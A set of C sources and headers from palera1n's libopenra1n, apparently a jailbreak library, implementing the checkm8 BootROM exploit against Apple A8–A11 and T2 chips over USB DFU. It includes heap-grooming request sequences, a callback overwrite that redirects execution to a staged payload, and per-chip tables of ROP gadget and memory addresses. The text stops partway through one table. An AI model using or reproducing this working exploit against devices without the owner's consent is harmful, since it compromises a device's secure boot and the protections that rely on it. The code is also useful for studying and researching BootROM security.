* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef LIBOPENRA1N__PAYLOAD_H
#define LIBOPENRA1N__PAYLOAD_H
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#define A8 0x7000
#define A8X 0x7001
#define S1 0x7002
#define A9 0x8000
#define A9X 0x8001
#define A9_TSMC 0x8003
#define A10 0x8010
#define A10X 0x8011
#define T2 0x8012
#define A11 0x8015
struct DeviceConfiguration {
uint16_t cpid;
size_t
config_hole,
config_large_leak,
config_overwrite_pad;
};
struct PayloadConfiguration {
uint64_t
insecure_memory_base,
func_gadget,
write_prim,
write_prim2,
arm_clean_invalidate_dcache_line,
arm_invalidate_icache,
enter_critical_section,
exit_critical_section,
write_ttbr0,
tlbi,
TTBR0_PATCH_BASE,
TTBR0_BASE,
bootstrap_task_lr,
payload_start_offset;
};
typedef struct {
uint16_t cpid;
const uint8_t *data;
size_t len;
} yolo_payload_t;
bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConfiguration *config);
bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
#endif // LIBOPENRA1N__PAYLOAD_H
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef LIBOPENRA1N__BACKEND_SHIM_H
#define LIBOPENRA1N__BACKEND_SHIM_H
#ifdef __APPLE__
# include "usb_iokit.h"
#else
# include "usb_libusb.h"
#endif
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len);
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout);
#endif // LIBOPENRA1N__BACKEND_SHIM_H
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef LIBOPENRA1N__STAGE1_H
#define LIBOPENRA1N__STAGE1_H
#include <stdint.h>
#include <stdbool.h>
#include <payload.h>
typedef struct
{
uint32_t endpoint, pad_0;
uint64_t io_buffer;
uint32_t status, io_len, ret_cnt, pad_1;
uint64_t callback, next;
} dfu_callback_t;
typedef struct
{
dfu_callback_t callback;
} checkm8_overwrite_t;
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
);
#endif // LIBOPENRA1N__STAGE1_H
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifdef __APPLE__
#ifndef LIBOPENRA1N__IOKIT_BACKEND_H
#define LIBOPENRA1N__IOKIT_BACKEND_H
#include <stdbool.h>
#include <IOKit/IOCFPlugIn.h>
#include <IOKit/usb/IOUSBLib.h>
#define USB_TIMEOUT (5)
#if TARGET_OS_IPHONE
# define kUSBPipeStalled kUSBHostReturnPipeStalled
#else
# define kUSBPipeStalled kIOUSBPipeStalled
#endif
#if TARGET_OS_IPHONE
# define kUSBDeviceClassName "IOUSBHostDevice"
#else
# define kUSBDeviceClassName kIOUSBDeviceClassName
#endif
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL,
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef void (*usb_hotplug_callback_t)(
io_service_t service,
bool connected,
void *user
);
typedef struct {
uint16_t vid, pid;
io_service_t serv;
IOUSBDeviceInterface320 **device;
IOUSBInterfaceInterface245 **interface;
CFRunLoopSourceRef async_event_source;
} usb_handle_t;
#ifdef __cplusplus
extern "C" {
#endif
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
void close_usb_handle(usb_handle_t *handle);
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
bool wait_usb_handle(usb_handle_t *handle);
void reset_usb_handle(usb_handle_t *handle);
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
#ifdef __cplusplus
}
#endif
#endif // LIBOPENRA1N__IOKIT_BACKEND_H
#endif // __APPLE__
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __APPLE__
#ifndef LIBOPENRA1N__LIBUSB_BACKEND_H
#define LIBOPENRA1N__LIBUSB_BACKEND_H
#include <stdbool.h>
#include <libusb-1.0/libusb.h>
#define USB_TIMEOUT (5)
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL,
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef struct {
uint16_t vid, pid;
struct libusb_device_handle *device;
} usb_handle_t;
void close_usb_handle(usb_handle_t *handle);
void reset_usb_handle(const usb_handle_t *handle);
bool wait_usb_handle(usb_handle_t *handle);
void usb_async_cb(struct libusb_transfer *transfer);
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
#endif // LIBOPENRA1N__LIBUSB_BACKEND_H
#endif // __APPLE__
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/*
* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef LIBOPENRA1N__UTILS_H
#define LIBOPENRA1N__UTILS_H
#include <stdint.h>
#include <stdbool.h>
#define RESET_COLOR "\033[0m"
#define RED_COLOR "\033[31m"
#define GREEN_COLOR "\033[32m"
#define YELLOW_COLOR "\033[33m"
#define BLUE_COLOR "\033[34m"
#define MAGENTA_COLOR "\033[35m"
#define CYAN_COLOR "\033[36m"
#define WHITE_COLOR "\033[37m"
#define GRAY_COLOR "\033[90m"
extern uint8_t gDebugLevel;
extern bool gSilentLogs;
extern bool gColoredLogs;
typedef enum {
LOG_INFO,
LOG_ERROR,
LOG_VERBOSE
} log_level_t;
#ifdef __cplusplus
extern "C" {
#endif
void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...);
#ifdef __cplusplus
}
#endif
#define LOG(fmt, ...) log_write_internal(LOG_INFO, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
#define LOG_ERROR(fmt, ...) log_write_internal(LOG_ERROR, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
#define LOG_DEBUG(fmt, ...) log_write_internal(LOG_VERBOSE, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
void sleep_ms(unsigned ms);
#endif // LIBOPENRA1N__UTILS_H
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Copyright (c) checkra1n team. All rights reserved.
* This component is used under the following conditions:
* 1. NON-AFFILIATION & ATTRIBUTION:
Any product or project utilizing this code must clearly state that
the resulting work was NOT developed by the checkra1n team.
The checkra1n team is the original author of this specific component,
but they do not endorse, support, or take responsibility for this implementation.
2. MIT LICENSE & DISCLAIMER:
Subject to the condition above, this code is provided under the MIT License.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
The binary containing this shellcode is available from the following link: https://checkra.in/1337
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <checkm8.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <payload.h>
#include <dfu.h>
#include <stage1.h>
#include <utils.h>
#include <shim.h>
#include <gen/payloads/lz4dec.h>
#include <lz4/lz4.h>
#include <lz4/lz4hc.h>
static struct {
uint8_t b_len, b_descriptor_type;
uint16_t bcd_usb;
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
uint16_t id_vendor, id_product, bcd_device;
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
} device_descriptor;
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state)
{
struct {
uint8_t status, poll_timeout[3], state, str_idx;
} dfu_status;
transfer_ret_t result;
result = send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status));
return result.ret == USB_TRANSFER_OK
&& result.sz == sizeof(dfu_status)
&& dfu_status.status == status
&& dfu_status.state == state;
}
static bool dfu_set_state_wait_reset(const usb_handle_t *handle)
{
transfer_ret_t result;
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0);
return result.ret == USB_TRANSFER_OK
&& result.sz == 0
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
}
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle)
{
LOG("checkm8 reset stage");
transfer_ret_t result;
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN);
if (result.ret != USB_TRANSFER_OK || result.sz != DFU_FILE_SUFFIX_LEN)
goto fail;
if (!dfu_set_state_wait_reset(handle))
goto fail;
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
if (result.ret != USB_TRANSFER_OK || result.sz != EP0_MAX_PACKET_SZ)
goto fail;
return CHECKM8_ERR_NONE;
fail:
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
return CHECKM8_ERR_TRANSFER_FAILED;
}
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig)
{
LOG("checkm8 setup stage");
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
transfer_ret_t result;
for (;;) {
result = send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout);
if (result.sz < deviceConfig->config_overwrite_pad) {
result = send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - result.sz);
if (result.ret == USB_TRANSFER_STALL)
return CHECKM8_ERR_NONE;
}
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
}
return CHECKM8_ERR_TRANSFER_FAILED;
}
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
transfer_ret_t result;
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1);
return result.sz == 0;
}
static void checkm8_stall(const usb_handle_t *handle)
{
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
transfer_ret_t result;
for (;;) {
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout);
if (result.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle))
break;
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
}
}
static bool checkm8_no_leak(const usb_handle_t *handle)
{
transfer_ret_t result;
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1);
return result.sz == 0;
}
static bool checkm8_usb_request_stall(const usb_handle_t *handle)
{
transfer_ret_t result;
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
return result.ret == USB_TRANSFER_STALL;
}
char *get_usb_serial_number(usb_handle_t *handle)
{
transfer_ret_t result;
uint8_t buf[UINT8_MAX];
char *str = NULL;
size_t i, sz;
result = send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor));
if (result.ret != USB_TRANSFER_OK || result.sz != sizeof(device_descriptor))
return NULL;
result = send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf));
if (result.ret != USB_TRANSFER_OK || result.sz != buf[0])
return NULL;
sz = buf[0] / 2;
if (sz == 0)
return NULL;
str = malloc(sz);
if (str == NULL)
return NULL;
for (i = 0; i < sz; ++i) str[i] = (char)buf[2 * (i + 1)];
str[sz - 1] = '\0';
return str;
}
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
LOG("checkm8 trigger stage");
size_t i;
transfer_ret_t result;
if(deviceConfig->config_large_leak == 0) {
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
} else {
checkm8_stall(handle);
for(i = 0; i < deviceConfig->config_hole; ++i) {
while(!checkm8_no_leak(handle)) {}
}
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1);
} else {
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
while(!checkm8_usb_request_stall(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
}
return CHECKM8_ERR_NONE;
}
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
LOG("checkm8 patch stage");
size_t i, data_sz, packet_sz;
void *data;
transfer_ret_t result;
bool ret = false;
const uint8_t *checkra1n_payload = NULL;
void *overwrite = NULL;
size_t checkra1n_payload_sz = 0;
size_t overwrite_sz = 0;
checkm8_overwrite_t checkm8_overwrite;
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
overwrite = &checkm8_overwrite;
overwrite_sz = sizeof(checkm8_overwrite);
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
if (!ret) return CHECKM8_ERR_UNSUPPORTED;
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
if (!ret) return CHECKM8_ERR_INVALID_PAYLOAD;
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
LOG_DEBUG("successfully leaked data");
} else {
LOG_ERROR("failed to leak data");
return CHECKM8_ERR_TRANSFER_FAILED;
}
for (i = 0; i < 2; i++) {
LOG_DEBUG("i = %zu", i);
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
}
if (overwrite != NULL) {
result = send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz);
if (result.ret != USB_TRANSFER_STALL) {
LOG_ERROR("failed to send overwrite data");
return CHECKM8_ERR_TRANSFER_FAILED;
}
for (i = 0; ret && i < data_sz; i += packet_sz) {
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz);
}
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
}
// todo: do something with the result
free(data);
return ret ? CHECKM8_ERR_NONE : CHECKM8_ERR_TRANSFER_FAILED;
}
static bool compress_pongo(const uint8_t *bin, size_t bin_len, uint8_t **out, size_t *out_len)
{
int src_size = (int)bin_len;
int max_size = LZ4_compressBound(src_size);
uint8_t *buf = malloc(max_size);
if (!buf)
return false;
int size = LZ4_compress_HC(
(const char *)bin,
(char *)buf,
src_size,
max_size,
LZ4HC_CLEVEL_MAX
);
if (size <= 0) {
free(buf);
return false;
}
*out = buf;
*out_len = (size_t)size;
return true;
}
#define SHELLCODE_SZ (512)
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len)
{
size_t pongoSize;
uint8_t *pongo;
if (!compress_pongo(pongo_bin, pongo_bin_len, &pongo, &pongoSize))
return false;
LOG("Sending pongo image");
uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
if (!payload) {
free(pongo);
return false;
}
memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
free(pongo);
pongo = payload;
pongoSize += SHELLCODE_SZ;
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
*pongoSizeInData = (uint32_t)(pongoSize - SHELLCODE_SZ);
*out = pongo;
*out_len = pongoSize;
return true;
}
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len)
{
transfer_ret_t result;
size_t len = 0;
while (len < pongo_bin_len) {
size_t chunk = (pongo_bin_len - len > 0x800) ? 0x800 : (pongo_bin_len - len);
retry:
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongo_bin + len, chunk);
if (result.sz != chunk || result.ret != USB_TRANSFER_OK)
{
LOG_DEBUG("retrying at len = %zu", len);
sleep_ms(100);
goto retry;
}
len += chunk;
LOG_DEBUG("len = %zu", len);
}
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
if (result.ret != USB_TRANSFER_OK)
return CHECKM8_ERR_TRANSFER_FAILED;
return CHECKM8_ERR_NONE;
}
+60
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/*
* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <dfu.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
uint16_t dfu_serial_number_get_cpid(char *serial) {
char *cpid = strstr(serial, "CPID:");
if (cpid == NULL) { return -1; }
return strtol(cpid + 5, NULL, 16);
}
uint32_t dfu_serial_number_get_bdid(char *serial) {
char *bdid = strstr(serial, "BDID:");
if (bdid == NULL) { return -1; }
return strtoul(bdid + 5, NULL, 16);
}
uint64_t dfu_serial_number_get_ecid(char *serial) {
char *ecid = strstr(serial, "ECID:");
if (ecid == NULL) { return -1; }
return strtoull(ecid + 5, NULL, 16);
}
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
char *DFU = strstr(serial, "SRTG");
return DFU != NULL;
}
bool dfu_serial_number_is_pwned(char *serial) {
char *pwnd = strstr(serial, "PWND:");
return pwnd != NULL;
}
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
char *yolo = strstr(serial, "YOLO");
return yolo != NULL;
}
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/*
* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <payload.h>
#include <stdbool.h>
#include <stdint.h>
#include <utils.h>
#include <gen/payloads/yolo_s8000.h>
#include <gen/payloads/yolo_s8001.h>
#include <gen/payloads/yolo_s8003.h>
#include <gen/payloads/yolo_t7000.h>
#include <gen/payloads/yolo_t7001.h>
#include <gen/payloads/yolo_t8010.h>
#include <gen/payloads/yolo_t8011.h>
#include <gen/payloads/yolo_t8012.h>
#include <gen/payloads/yolo_t8015.h>
bool checkm8_find_device_configuration_for_cpid(
uint16_t cpid,
struct DeviceConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case A11:
case T2:
case A10X:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x540;
config->config_hole = 6;
break;
case A10:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 5;
break;
case A9X:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 6;
break;
case A9_TSMC:
case A9:
case A8X:
case A8:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x500;
config->config_hole = 0;
break;
default:
LOG_ERROR("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
break;
}
return foundMatchingConfiguration;
}
bool checkm8_find_payload_configuration_for_cpid(
uint16_t cpid,
struct PayloadConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case A11:
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x10000a998;
config->tlbi = 0x1000004AC;
config->write_prim = 0x100009c48;
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
config->arm_invalidate_icache = 0x1000004c0;
config->enter_critical_section = 0x10000f958;
config->exit_critical_section = 0x10000f9a0;
config->write_ttbr0 = 0x10000045c;
config->tlbi = 0x1000004ac;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f88;
config->payload_start_offset = 0x800;
break;
case T2:
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x100008d8c;
config->write_prim = 0x100008058;
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
config->arm_invalidate_icache = 0x1000004a8;
config->enter_critical_section = 0x10000f9b8;
config->exit_critical_section = 0x10000fa00;
config->write_ttbr0 = 0x100000444;
config->tlbi = 0x100000494;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f78;
config->payload_start_offset = 0x800;
break;
case A10X:
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cce4;
config->write_prim2 = 0x100001804;
config->arm_clean_invalidate_dcache_line = 0x10000047c;
config->arm_invalidate_icache = 0x100000458;
config->enter_critical_section = 0x10000a658;
config->exit_critical_section = 0x10000a6a0;
config->write_ttbr0 = 0x1000003F4;
config->tlbi = 0x100000444;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f88;
config->payload_start_offset = 0x800;
break;
case A10:
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cc44;
config->write_prim2 = 0x100001808;
config->arm_clean_invalidate_dcache_line = 0x10000046c;
config->arm_invalidate_icache = 0x100000448;
config->enter_critical_section = 0x10000A4B8;
config->exit_critical_section = 0x10000A514;
config->write_ttbr0 = 0x1000003E4;
config->tlbi = 0x100000434;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f68;
config->payload_start_offset = 0x800;
break;
case A9X:
config->insecure_memory_base = 0x180000000;
config->func_gadget = 0x10000cd38;
config->write_prim2 = 0x100001a78;
config->arm_clean_invalidate_dcache_line = 0x10000043c;
config->arm_invalidate_icache = 0x100000418;
config->enter_critical_section = 0x100009b24;
config->exit_critical_section = 0x100009b88;
config->write_ttbr0 = 0x1000003b4;
config->tlbi = 0x100000404;
config->TTBR0_PATCH_BASE = 0x180004000;
config->TTBR0_BASE = 0x50000;
config->bootstrap_task_lr = 0x180059f58;
config->payload_start_offset = 0x800;
break;
case A9:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A9_TSMC:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
